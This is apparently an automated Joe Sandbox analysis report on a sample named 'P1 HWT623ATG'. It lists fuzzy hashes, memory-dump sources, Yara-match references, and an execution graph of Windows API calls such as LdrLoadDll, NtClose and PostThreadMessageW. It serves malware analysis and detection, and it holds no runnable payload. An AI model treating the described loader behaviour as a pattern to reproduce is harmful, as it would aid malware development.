                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: e29e199b0639348f5dc05b8e95f968931d29c7299370eab702c517bca3637502
                                  • Instruction ID: 188fe06af15a6ec5ba050a52856fc4d81d2366a8029efae667212db449556cae
                                  • Opcode Fuzzy Hash: e29e199b0639348f5dc05b8e95f968931d29c7299370eab702c517bca3637502
                                  • Instruction Fuzzy Hash: A9A0027485D315EFEB504F51E00C36C7BB1F73430DF458166E51351A49DB7801469F69

                                  Non-executed Functions

                                  Function 02FAEFF0 Relevance: .3, Instructions: 315COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1286136587.0000000002FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_2fa0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 84967f53543ddb383394d68d04461bb202da25989acdd8e0d320dcce24099ea1
                                  • Instruction ID: 1c23f03791629b10c9966c01779680836d674184bc0864ae2938a214ef8f9016
                                  • Opcode Fuzzy Hash: 84967f53543ddb383394d68d04461bb202da25989acdd8e0d320dcce24099ea1
                                  • Instruction Fuzzy Hash: 4312A8F0C897498AD710CF65FA4C189BB71BB91394BF04A09D1623F2E5DBB8256ACF44
                                  Function 07935EA8 Relevance: .3, Instructions: 312COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 2b2839ea4607b56fab34cd2260c085df44b8d3a49a5d924cbb84b3b3be4b3065
                                  • Instruction ID: 7b1042e9a0059a6a04a097bf0572bdbf3f4c94871b4caf6b05706a8b0a257c09
                                  • Opcode Fuzzy Hash: 2b2839ea4607b56fab34cd2260c085df44b8d3a49a5d924cbb84b3b3be4b3065
                                  • Instruction Fuzzy Hash: C4E11CB4E0021A9FDB14CFA9C580AAEFBB2FF49304F248169D855AB355C7359D41CFA0
                                  Function 07933DD0 Relevance: .3, Instructions: 312COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 69f40fd676881c8fbf6c8a0ba37a194bc705ba940b78637406d6029475d3bf99
                                  • Instruction ID: a54aa4f53c4e852347a227692ef9b1e9498c6238f204ba64a0f725f379d71667
                                  • Opcode Fuzzy Hash: 69f40fd676881c8fbf6c8a0ba37a194bc705ba940b78637406d6029475d3bf99
                                  • Instruction Fuzzy Hash: 14E10CB4E0025A8FDB14CFA9C580AAEFBB2FF89305F248169D855AB355D7349D41CFA0
                                  Function 079355D0 Relevance: .3, Instructions: 312COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: ce2126265d68223d9aeac338bca62f3abc3192676aa80eecc36f11359fcc5452
                                  • Instruction ID: 22590ca949847c79268256b6826c3be07386f98db5ba8b6589ab830984c727bb
                                  • Opcode Fuzzy Hash: ce2126265d68223d9aeac338bca62f3abc3192676aa80eecc36f11359fcc5452
                                  • Instruction Fuzzy Hash: C2E1FBB4E0021A8FDB14CFA9C580AAEFBB2FF49305F248169D455AB355D734AD41CFA0
                                  Function 07933560 Relevance: .3, Instructions: 312COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: c47790acd5a4a754facc715f4567a809ae36c0c10bd6406db3b43cd98e98b190
                                  • Instruction ID: 21bf1b6a02b855356f28bdd4dea1e3eed2edfc919f2af8b0438f4e5e4a03f7a1
                                  • Opcode Fuzzy Hash: c47790acd5a4a754facc715f4567a809ae36c0c10bd6406db3b43cd98e98b190
                                  • Instruction Fuzzy Hash: 6AE1EBB4E0021A8FDB14CFA9C580AAEFBB2FF49305F248169D855AB355D7359D41CFA0
                                  Function 07933998 Relevance: .3, Instructions: 312COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: db379327faf3947d59343d2f129f3851c840b52b72e371739852836eece63b63
                                  • Instruction ID: 7e2e28ea4d1d060a1fbb8733d346eea35c53c0d11bb2def9f3a6ada9b3a7abab
                                  • Opcode Fuzzy Hash: db379327faf3947d59343d2f129f3851c840b52b72e371739852836eece63b63
                                  • Instruction Fuzzy Hash: E5E1FAB4E0021A8FDB14CFA9C580AAEFBB2FF89305F248169D855AB355D7349D41CFA1
                                  Function 064AAB88 Relevance: .3, Instructions: 269COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 26ae6f04a0ee1f6ed182b47d5d3cf7789c93afab22c9991c11bf6721e5a33e6d
                                  • Instruction ID: e99a1613821da0d4364f5586b807c3a89dc125b21cd7db810fe8963fa802acb9
                                  • Opcode Fuzzy Hash: 26ae6f04a0ee1f6ed182b47d5d3cf7789c93afab22c9991c11bf6721e5a33e6d
                                  • Instruction Fuzzy Hash: 97D12434C2075ACACB15EF64D95469DB7B1EFA5300F20C7AAE1093B220EB746AD5CF91
                                  Function 064AAB98 Relevance: .3, Instructions: 264COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 38f3a109b477e3973368d3b45e13852f4d9110bdf15646ea928d57c9bba521a5
                                  • Instruction ID: 19d96d924a39d0bcdb82d7cfb6296b0bb7bb79717960311cc5e3a205db7b56fb
                                  • Opcode Fuzzy Hash: 38f3a109b477e3973368d3b45e13852f4d9110bdf15646ea928d57c9bba521a5
                                  • Instruction Fuzzy Hash: A7D13434C2075ACACB15EF64D95069DB7B1EFA5300F20C7AAE1093B220EB746AD5CF91
                                  Function 02FADC00 Relevance: .3, Instructions: 264COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1286136587.0000000002FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_2fa0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 31b5b3ed4bef1b47c2e7ca9610b3a376b41d837617408780fe7226427efcb3fa
                                  • Instruction ID: 30eb05da04a26caad4966990e4bcd81d79b32015d9a4fa0a5791a16f42e78a3f
                                  • Opcode Fuzzy Hash: 31b5b3ed4bef1b47c2e7ca9610b3a376b41d837617408780fe7226427efcb3fa
                                  • Instruction Fuzzy Hash: 12A19E76E002098FCF05DFB4C95459EBBB2FF88344B15457AEA01AB261DB71E915CF40
                                  Function 07933548 Relevance: .1, Instructions: 134COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: b470c77be3a0ad31cc448c7ce36fc69f2245ee6b9af30800ee5c9417621695f9
                                  • Instruction ID: eb77501166f9493c9a01c2a1a52beea89aca97a82f3c2c40552190d9a1b2f75e
                                  • Opcode Fuzzy Hash: b470c77be3a0ad31cc448c7ce36fc69f2245ee6b9af30800ee5c9417621695f9
                                  • Instruction Fuzzy Hash: E0511CB0E0021A8FDB14CFA9C581AAEFBF2FF89305F248169D419AB355D7359941CFA0
                                  Function 064C1B22 Relevance: .1, Instructions: 88COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293721485.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, Offset: 064C0000, based on PE: true
                                  • Associated: 00000001.00000002.1293760982.00000000064D0000.00000040.00000800.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64c0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 4bf7287af9db58b863778edac30b41bf164738259f164452f164b74ca8128aae
                                  • Instruction ID: 535fbbc0337eec6da9eb743e8db8998d40077bdc33370dab64d04c6a83862385
                                  • Opcode Fuzzy Hash: 4bf7287af9db58b863778edac30b41bf164738259f164452f164b74ca8128aae
                                  • Instruction Fuzzy Hash: A631222240F3D14FD7638B789CB56857FB0AE57224B1E09EBC4C0CF5A3E619694AD722

                                  Execution Graph

                                  Execution Coverage:1.2%
                                  Dynamic/Decrypted Code Coverage:4.5%
                                  Signature Coverage:7.1%
                                  Total number of Nodes:154
                                  Total number of Limit Nodes:13
                                  execution_graph 93661 424303 93662 42431f 93661->93662 93663 424347 93662->93663 93664 42435b 93662->93664 93665 42b543 NtClose 93663->93665 93671 42b543 93664->93671 93667 424350 93665->93667 93668 424364 93674 42d563 RtlAllocateHeap 93668->93674 93670 42436f 93672 42b560 93671->93672 93673 42b571 NtClose 93672->93673 93673->93668 93674->93670 93675 42e523 93676 42e533 93675->93676 93677 42e539 93675->93677 93680 42d523 93677->93680 93679 42e55f 93683 42b863 93680->93683 93682 42d53e 93682->93679 93684 42b87d 93683->93684 93685 42b88e RtlAllocateHeap 93684->93685 93685->93682 93701 42ab33 93702 42ab4d 93701->93702 93705 1272df0 LdrInitializeThunk 93702->93705 93703 42ab75 93705->93703 93706 424693 93711 4246a2 93706->93711 93707 42472f 93708 4246e9 93714 42d443 93708->93714 93711->93707 93711->93708 93712 42472a 93711->93712 93713 42d443 RtlFreeHeap 93712->93713 93713->93707 93717 42b8b3 93714->93717 93716 4246f9 93718 42b8cd 93717->93718 93719 42b8de RtlFreeHeap 93718->93719 93719->93716 93686 413f43 93687 413f5d 93686->93687 93692 417933 93687->93692 93689 413f7b 93690 413fc0 93689->93690 93691 413faf PostThreadMessageW 93689->93691 93691->93690 93693 417957 93692->93693 93694 417993 LdrLoadDll 93693->93694 93695 41795e 93693->93695 93694->93695 93695->93689 93696 41af83 93697 41afc7 93696->93697 93698 41afe8 93697->93698 93699 42b543 NtClose 93697->93699 93699->93698 93720 41a493 93721 41a4ab 93720->93721 93723 41a505 93720->93723 93721->93723 93724 41e0a3 93721->93724 93725 41e0c9 93724->93725 93729 41e1b7 93725->93729 93730 42e653 93725->93730 93727 41e15b 93727->93729 93736 42ab83 93727->93736 93729->93723 93731 42e5c3 93730->93731 93732 42e620 93731->93732 93733 42d523 RtlAllocateHeap 93731->93733 93732->93727 93734 42e5fd 93733->93734 93735 42d443 RtlFreeHeap 93734->93735 93735->93732 93737 42ab9d 93736->93737 93740 1272c0a 93737->93740 93738 42abc9 93738->93729 93741 1272c11 93740->93741 93742 1272c1f LdrInitializeThunk 93740->93742 93741->93738 93742->93738 93700 1272b60 LdrInitializeThunk 93743 401cb8 93744 401ce1 93743->93744 93747 42e9e3 93744->93747 93750 42d033 93747->93750 93751 42d059 93750->93751 93762 4075b3 93751->93762 93753 42d06f 93761 401d1a 93753->93761 93765 41ad93 93753->93765 93755 42d08e 93756 42d0a3 93755->93756 93780 42b903 93755->93780 93776 4275b3 93756->93776 93759 42d0b2 93760 42b903 ExitProcess 93759->93760 93760->93761 93783 416663 93762->93783 93764 4075c0 93764->93753 93766 41adbf 93765->93766 93798 41ac83 93766->93798 93769 41ae04 93772 41ae20 93769->93772 93774 42b543 NtClose 93769->93774 93770 41adec 93771 41adf7 93770->93771 93773 42b543 NtClose 93770->93773 93771->93755 93772->93755 93773->93771 93775 41ae16 93774->93775 93775->93755 93777 42760d 93776->93777 93779 42761a 93777->93779 93809 418483 93777->93809 93779->93759 93781 42b920 93780->93781 93782 42b931 ExitProcess 93781->93782 93782->93756 93785 41667a 93783->93785 93784 416693 93784->93764 93785->93784 93790 42bf93 93785->93790 93787 4166e4 93787->93784 93797 4281e3 NtClose LdrInitializeThunk 93787->93797 93789 41670a 93789->93764 93792 42bfab 93790->93792 93791 42bfcf 93791->93787 93792->93791 93793 42ab83 LdrInitializeThunk 93792->93793 93794 42c024 93793->93794 93795 42d443 RtlFreeHeap 93794->93795 93796 42c03d 93795->93796 93796->93787 93797->93789 93799 41ac9d 93798->93799 93803 41ad79 93798->93803 93804 42ac23 93799->93804 93802 42b543 NtClose 93802->93803 93803->93769 93803->93770 93805 42ac40 93804->93805 93808 12735c0 LdrInitializeThunk 93805->93808 93806 41ad6d 93806->93802 93808->93806 93810 4184ad 93809->93810 93816 41891b 93810->93816 93817 414073 93810->93817 93812 4185ba 93813 42d443 RtlFreeHeap 93812->93813 93812->93816 93814 4185d2 93813->93814 93815 42b903 ExitProcess 93814->93815 93814->93816 93815->93816 93816->93779 93818 414092 93817->93818 93819 4141e7 93818->93819 93821 4141b0 93818->93821 93826 4141a6 93818->93826 93828 427753 93818->93828 93819->93812 93821->93819 93836 41b0a3 RtlFreeHeap LdrInitializeThunk 93821->93836 93822 4141c4 93822->93819 93837 41b0a3 RtlFreeHeap LdrInitializeThunk 93822->93837 93824 4141dd 93824->93812 93833 413ac3 93826->93833 93829 4277b0 93828->93829 93830 4277eb 93829->93830 93838 4141f3 93829->93838 93830->93818 93832 4277cd 93832->93818 93848 42b7c3 93833->93848 93836->93822 93837->93824 93839 4141bb 93838->93839 93840 41420f 93839->93840 93846 41b0a3 RtlFreeHeap LdrInitializeThunk 93839->93846 93840->93832 93842 4141c4 93843 4141e9 93842->93843 93847 41b0a3 RtlFreeHeap LdrInitializeThunk 93842->93847 93843->93832 93845 4141dd 93845->93832 93846->93842 93847->93845 93849 42b7e0 93848->93849 93852 1272c70 LdrInitializeThunk 93849->93852 93850 413ae5 93850->93821 93852->93850 93853 418b38 93854 418b42 93853->93854 93855 42b543 NtClose 93853->93855 93855->93854

                                  Executed Functions

                                  Function 00417933 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 179 417933-41795c call 42e143 182 417962-417970 call 42e663 179->182 183 41795e-417961 179->183 186 417980-417991 call 42cb03 182->186 187 417972-41797d call 42e903 182->187 192 417993-4179a7 LdrLoadDll 186->192 193 4179aa-4179ad 186->193 187->186 192->193
                                  APIs
                                  • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004179A5
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_400000_P1 HWT623ATG.jbxd
                                  Yara matches
                                  Similarity
                                  • API ID: Load
                                  • String ID:
                                  • API String ID: 2234796835-0
                                  • Opcode ID: c839b24bd16572aed6a7051c7c2bbafa6a578f71075491fecf3231fa6de0353c
                                  • Instruction ID: cf70dd02b42f83f92b302e931271253000a32e180e5cfd414d045845ce8d9469
                                  • Opcode Fuzzy Hash: c839b24bd16572aed6a7051c7c2bbafa6a578f71075491fecf3231fa6de0353c
                                  • Instruction Fuzzy Hash: A3015EB1E5420DABDB10DBA5DC86FDEB3789B54304F0081AAE90897240F639EB588B95
                                  Function 0042B543 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 199 42b543-42b57f call 404a83 call 42c603 NtClose
                                  APIs
                                  • NtClose.NTDLL(?,0041656F,001F0001,?,00000000,?,?,00000104), ref: 0042B57A
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_400000_P1 HWT623ATG.jbxd
                                  Yara matches
                                  Similarity
                                  • API ID: Close
                                  • String ID:
                                  • API String ID: 3535843008-0
                                  • Opcode ID: 5bf140ce2b7ee9b7289b441804a8eb77268ac8134a6b87ce6c3746fa3cd9d41f
                                  • Instruction ID: 937b2143e71a539af599f96f4abd8ce02b0dce4f2453741a7da5df85edb86ca1
                                  • Opcode Fuzzy Hash: 5bf140ce2b7ee9b7289b441804a8eb77268ac8134a6b87ce6c3746fa3cd9d41f
                                  • Instruction Fuzzy Hash: B1E086323006147BC610EA5ADC41F9B779CDFC5715F40841AFA0977181C771790187F5
                                  Function 01272B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 213 1272b60-1272b6c LdrInitializeThunk
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: InitializeThunk
                                  • String ID:
                                  • API String ID: 2994545307-0
                                  • Opcode ID: d18efebff82f5eb0751569dee5ae7457d0932058f6c9cbadbee88cb58a3c1729
                                  • Instruction ID: d25885690c7c53f167073b0e5a1e638d037ee291729d2d814474b55565a63f8c
                                  • Opcode Fuzzy Hash: d18efebff82f5eb0751569dee5ae7457d0932058f6c9cbadbee88cb58a3c1729
                                  • Instruction Fuzzy Hash: A390026121340003510571584454616900B97E0301B95C021E2014598DC52589916225
                                  Function 01272DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 215 1272df0-1272dfc LdrInitializeThunk
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: InitializeThunk
                                  • String ID:
                                  • API String ID: 2994545307-0
                                  • Opcode ID: c93e9fcc2d0e25150b56611d6c3885e682d839fd56303cbf06a9a4ad94103cea
                                  • Instruction ID: c3fe6a5dde8f33b39987215d1251d0767d380ef1c0133389bb26b3812bc4c46f
                                  • Opcode Fuzzy Hash: c93e9fcc2d0e25150b56611d6c3885e682d839fd56303cbf06a9a4ad94103cea
                                  • Instruction Fuzzy Hash: 8090023121240413E11171584544707500A97D0341FD5C412A142455CDD6568A52A221
                                  Function 01272C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 214 1272c70-1272c7c LdrInitializeThunk
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: InitializeThunk
                                  • String ID:
                                  • API String ID: 2994545307-0
                                  • Opcode ID: 08d7f679d08e44b93653ba079e35a2fced20b7194c5bbab187c00bcea1a7e955
                                  • Instruction ID: b38c9317162172c3a09a15f90b66f1f79e73fb53dbdb27e4e6e8edf258f009f9
                                  • Opcode Fuzzy Hash: 08d7f679d08e44b93653ba079e35a2fced20b7194c5bbab187c00bcea1a7e955
                                  • Instruction Fuzzy Hash: 8190023121248802E1107158844474A500697D0301F99C411A542465CDC69589917221
                                  Function 012735C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 216 12735c0-12735cc LdrInitializeThunk
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: InitializeThunk
                                  • String ID:
                                  • API String ID: 2994545307-0
                                  • Opcode ID: 493f40d43cecd2b357bf6e1e334c1b92e5c2d6b442b110eaae5ef641c53d4b83
                                  • Instruction ID: 3e06d8b115e3cda66e8481c330cec938365ccc660ae31eddcededbb130e838c4
                                  • Opcode Fuzzy Hash: 493f40d43cecd2b357bf6e1e334c1b92e5c2d6b442b110eaae5ef641c53d4b83
                                  • Instruction Fuzzy Hash: DD90023161650402E10071584554706600697D0301FA5C411A142456CDC7958A5166A2
                                  Function 00413E00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 0 413e00-413e02 1 413e55-413e64 0->1 2 413e04-413e0b 0->2 5 413e67-413e69 1->5 3 413dfd-413dfe 2->3 4 413e0d-413e19 2->4 3->0 4->5 6 413e1b-413e36 4->6 7 413ec4-413ee2 5->7 8 413e6a-413e76 5->8 12 413df7-413dfc 6->12 13 413e38-413e3a 6->13 14 413ee4-413ef5 7->14 15 413f29-413f31 7->15 9 413e78-413e8b 8->9 10 413e3f-413e4f 8->10 9->7 10->1 12->3 13->10 16 413f91-413fad 15->16 17 413f33-413f3a 15->17 18 413fcd-413fd3 16->18 19 413faf-413fbe PostThreadMessageW 16->19 19->18 20 413fc0-413fca 19->20 20->18
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_400000_P1 HWT623ATG.jbxd
                                  Yara matches
                                  Similarity
                                  • API ID:
                                  • String ID: 66159w4$66159w4
                                  • API String ID: 0-1576546964
                                  • Opcode ID: 38f054a78870f869ed828e8be13c9782f78306e7c6e2d5508bda4523ac360c5e
                                  • Instruction ID: ea6108b1436ed194fed4adbf68883a8af87e5b94fa50a412f37eaa4fea503ac8
                                  • Opcode Fuzzy Hash: 38f054a78870f869ed828e8be13c9782f78306e7c6e2d5508bda4523ac360c5e
                                  • Instruction Fuzzy Hash: 5831DE72A44308AAD7114EB9E885CEBBFF8AA4176271040CBF5448B352D6244F83CB94
                                  Function 00413F3B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62threadwindowCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 21 413f3b-413f8b call 42d4e3 call 42def3 call 417933 call 4049f3 31 413f91-413fad 21->31 32 413f8c call 4247a3 21->32 33 413fcd-413fd3 31->33 34 413faf-413fbe PostThreadMessageW 31->34 32->31 34->33 35 413fc0-413fca 34->35 35->33
                                  APIs
                                  • PostThreadMessageW.USER32(66159w4,00000111,00000000,00000000), ref: 00413FBA
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_400000_P1 HWT623ATG.jbxd
                                  Yara matches
                                  Similarity
                                  • API ID: MessagePostThread
                                  • String ID: 66159w4$66159w4
                                  • API String ID: 1836367815-1576546964
                                  • Opcode ID: 7d27fbe7ccb01abb59a12a813e0ae5ed4f5f33e9c056934e58569f2ac88fd625
                                  • Instruction ID: 81527b3ea31c7f7c3721cf510f6ed77245fa7ad964fc8f5d8c7db5374fefc8ef
                                  • Opcode Fuzzy Hash: 7d27fbe7ccb01abb59a12a813e0ae5ed4f5f33e9c056934e58569f2ac88fd625
                                  • Instruction Fuzzy Hash: DA11E5B2D4021C7ADB11AAA19C82DEF7B7C9F41798F44806AF904A7241D6785E0687A1
                                  Function 00413F43 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60threadwindowCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 36 413f43-413f8b call 42d4e3 call 42def3 call 417933 call 4049f3 45 413f91-413fad 36->45 46 413f8c call 4247a3 36->46 47 413fcd-413fd3 45->47 48 413faf-413fbe PostThreadMessageW 45->48 46->45 48->47 49 413fc0-413fca 48->49 49->47
                                  APIs
                                  • PostThreadMessageW.USER32(66159w4,00000111,00000000,00000000), ref: 00413FBA
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_400000_P1 HWT623ATG.jbxd
                                  Yara matches
                                  Similarity
                                  • API ID: MessagePostThread
                                  • String ID: 66159w4$66159w4
                                  • API String ID: 1836367815-1576546964
                                  • Opcode ID: 96e0f7d925b9f8e80cb8809b958b2dc711033ba7514e0518aba4b15de443b2a7
                                  • Instruction ID: 5f87467ec1f60fc95d48d39a2a54b839da88c356cbad407cbbcfe12d7d50108c
                                  • Opcode Fuzzy Hash: 96e0f7d925b9f8e80cb8809b958b2dc711033ba7514e0518aba4b15de443b2a7
                                  • Instruction Fuzzy Hash: 280104B2D4021C7ADB10AAE19C82DEF7B7CDF41798F40802AFA0467241D67C5E0687B1
                                  Function 0042B8B3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29memoryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 59 42b8b3-42b8f4 call 404a83 call 42c603 RtlFreeHeap
                                  APIs
                                  • RtlFreeHeap.NTDLL(00000000,00000004,00000000,?,00000007,00000000,00000004,00000000,?,000000F4,?,?,?,?,?), ref: 0042B8EF
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_400000_P1 HWT623ATG.jbxd
                                  Yara matches
                                  Similarity
                                  • API ID: FreeHeap
                                  • String ID: fA
                                  • API String ID: 3298025750-3595381179
                                  • Opcode ID: b0092315f3663950749282f3922fd1a6698e08528b5ad2d216465ea922ad7804
                                  • Instruction ID: dfbb5c3547ebb858c08b1ac9d81141c24dd5f15d3fc1526cd94386d96c20186d
                                  • Opcode Fuzzy Hash: b0092315f3663950749282f3922fd1a6698e08528b5ad2d216465ea922ad7804
                                  • Instruction Fuzzy Hash: E5E06D713042087FDA14EE59DC41F9B73ACEFCA710F40001AFA08A7282CA70B910CBB9
                                  Function 0042B863 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 194 42b863-42b8a4 call 404a83 call 42c603 RtlAllocateHeap
                                  APIs
                                  • RtlAllocateHeap.NTDLL(?,0041E15B,?,?,00000000,?,0041E15B,?,?,?), ref: 0042B89F
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_400000_P1 HWT623ATG.jbxd
                                  Yara matches
                                  Similarity
                                  • API ID: AllocateHeap
                                  • String ID:
                                  • API String ID: 1279760036-0
